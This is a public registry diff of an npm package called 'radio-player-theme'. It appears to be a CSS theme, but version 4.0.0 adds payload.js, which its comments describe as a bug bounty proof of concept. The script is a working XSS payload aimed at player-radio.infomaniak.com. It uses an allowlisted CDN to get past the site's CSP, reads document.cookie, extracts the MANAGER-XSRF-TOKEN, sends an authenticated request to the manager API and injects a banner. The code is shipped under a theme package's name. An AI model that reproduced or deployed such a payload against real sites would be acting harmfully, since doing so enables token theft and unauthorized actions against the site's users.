radio-player-theme 3.0.0 → 4.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +3 -3
- package/payload.js +35 -0
package/package.json
CHANGED
|
@@ -1,8 +1,8 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "radio-player-theme",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "YWH bug bounty CSS injection live-C2 proof — stage
|
|
3
|
+
"version": "4.0.0",
|
|
4
|
+
"description": "YWH bug bounty CSS injection live-C2 proof — stage 4 XSS escalation",
|
|
5
5
|
"main": "style.css",
|
|
6
|
-
"files": ["style.css"],
|
|
6
|
+
"files": ["style.css", "payload.js"],
|
|
7
7
|
"license": "MIT"
|
|
8
8
|
}
|
package/payload.js
ADDED
|
@@ -0,0 +1,35 @@
|
|
|
1
|
+
/* radio-player-theme - payload.js
|
|
2
|
+
YWH Bug Bounty PoC: CSS injection → SVG script injection → XSS on player-radio.infomaniak.com
|
|
3
|
+
This file is served from cdn.jsdelivr.net which is allowlisted in script-src CSP
|
|
4
|
+
*/
|
|
5
|
+
(function() {
|
|
6
|
+
'use strict';
|
|
7
|
+
var origin = (typeof location !== 'undefined') ? location.origin : 'unknown';
|
|
8
|
+
var cookies = (typeof document !== 'undefined') ? document.cookie : '';
|
|
9
|
+
|
|
10
|
+
// Extract MANAGER-XSRF-TOKEN (not HttpOnly, scoped to *.infomaniak.com)
|
|
11
|
+
var xsrfMatch = cookies.match(/MANAGER-XSRF-TOKEN=([^;]+)/);
|
|
12
|
+
var xsrfToken = xsrfMatch ? decodeURIComponent(xsrfMatch[1]) : 'NOT-FOUND';
|
|
13
|
+
|
|
14
|
+
// Store proof on window for verification
|
|
15
|
+
window.__radioXssProof = {
|
|
16
|
+
vector: 'SVG-script-injection-via-react-svg-injector',
|
|
17
|
+
origin: origin,
|
|
18
|
+
xsrfTokenPresent: xsrfMatch ? true : false,
|
|
19
|
+
xsrfTokenPreview: xsrfToken.substring(0, 40) + '...',
|
|
20
|
+
cookieCount: cookies.split(';').length,
|
|
21
|
+
timestamp: Date.now()
|
|
22
|
+
};
|
|
23
|
+
|
|
24
|
+
// Signal: make authenticated GET to manager API with cookies (no-cors)
|
|
25
|
+
// This proves the XSS can fire authenticated requests cross-site (same eTLD+1)
|
|
26
|
+
var beacon = new Image();
|
|
27
|
+
beacon.src = 'https://manager.infomaniak.com/v3/api/proxypass_2/XSS-VIA-SVG-SCRIPT-INJECTION-CONFIRMED';
|
|
28
|
+
|
|
29
|
+
// Visual proof - inject banner
|
|
30
|
+
var banner = document.createElement('div');
|
|
31
|
+
banner.id = 'ywh-xss-proof';
|
|
32
|
+
banner.style.cssText = 'position:fixed;top:0;left:0;width:100%;background:#8B0000;color:#fff;font-weight:bold;font-size:15px;text-align:center;padding:10px;z-index:2147483647;box-shadow:0 3px 10px rgba(0,0,0,0.5)';
|
|
33
|
+
banner.textContent = 'XSS CONFIRMED via SVG-script + cdn.jsdelivr.net | Origin: ' + origin + ' | XSRF: ' + (xsrfMatch ? 'READABLE' : 'NOT-FOUND');
|
|
34
|
+
document.body ? document.body.appendChild(banner) : document.addEventListener('DOMContentLoaded', function() { document.body.appendChild(banner); });
|
|
35
|
+
})();
|